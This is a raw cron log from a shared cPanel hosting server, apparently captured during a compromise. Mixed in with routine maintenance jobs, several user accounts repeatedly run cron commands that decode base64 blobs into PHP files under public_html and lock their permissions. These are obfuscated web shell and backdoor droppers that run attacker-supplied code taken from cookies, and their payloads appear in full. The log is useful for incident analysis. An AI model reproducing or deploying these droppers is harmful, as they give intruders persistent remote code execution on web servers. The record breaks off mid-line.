Jun  7 06:20:01 medusa CROND[11083]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 06:20:01 medusa CROND[11089]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 06:20:01 medusa CROND[11096]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 06:20:01 medusa CROND[11111]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 06:20:01 medusa CROND[11114]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:20:01 medusa CROND[11113]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 06:20:01 medusa CROND[11103]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 06:20:01 medusa CROND[11112]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 06:20:01 medusa CROND[11109]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 06:20:01 medusa CROND[11117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:20:01 medusa CROND[11122]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 06:20:01 medusa CROND[11137]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 06:21:01 medusa CROND[13207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:21:01 medusa CROND[13212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:21:01 medusa CROND[13225]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:21:01 medusa CROND[13224]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 06:21:01 medusa CROND[13226]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 06:21:01 medusa CROND[13228]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:21:01 medusa CROND[13229]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:21:01 medusa CROND[13235]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:21:01 medusa CROND[13236]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 06:21:01 medusa CROND[13241]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:21:01 medusa CROND[13242]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:21:01 medusa CROND[13243]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:21:01 medusa CROND[13244]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:21:01 medusa CROND[13249]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:22:01 medusa CROND[15032]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 06:22:01 medusa CROND[15044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:22:01 medusa CROND[15045]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:22:01 medusa CROND[15043]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:22:01 medusa CROND[15046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:22:01 medusa CROND[15049]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:22:01 medusa CROND[15050]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:22:01 medusa CROND[15051]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:22:01 medusa CROND[15053]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:22:01 medusa CROND[15054]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:22:01 medusa CROND[15055]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:22:01 medusa CROND[15056]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 06:22:01 medusa CROND[15064]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:22:01 medusa CROND[15067]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:23:01 medusa CROND[16811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:23:01 medusa CROND[16818]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:23:02 medusa CROND[16868]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:23:02 medusa CROND[16875]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPy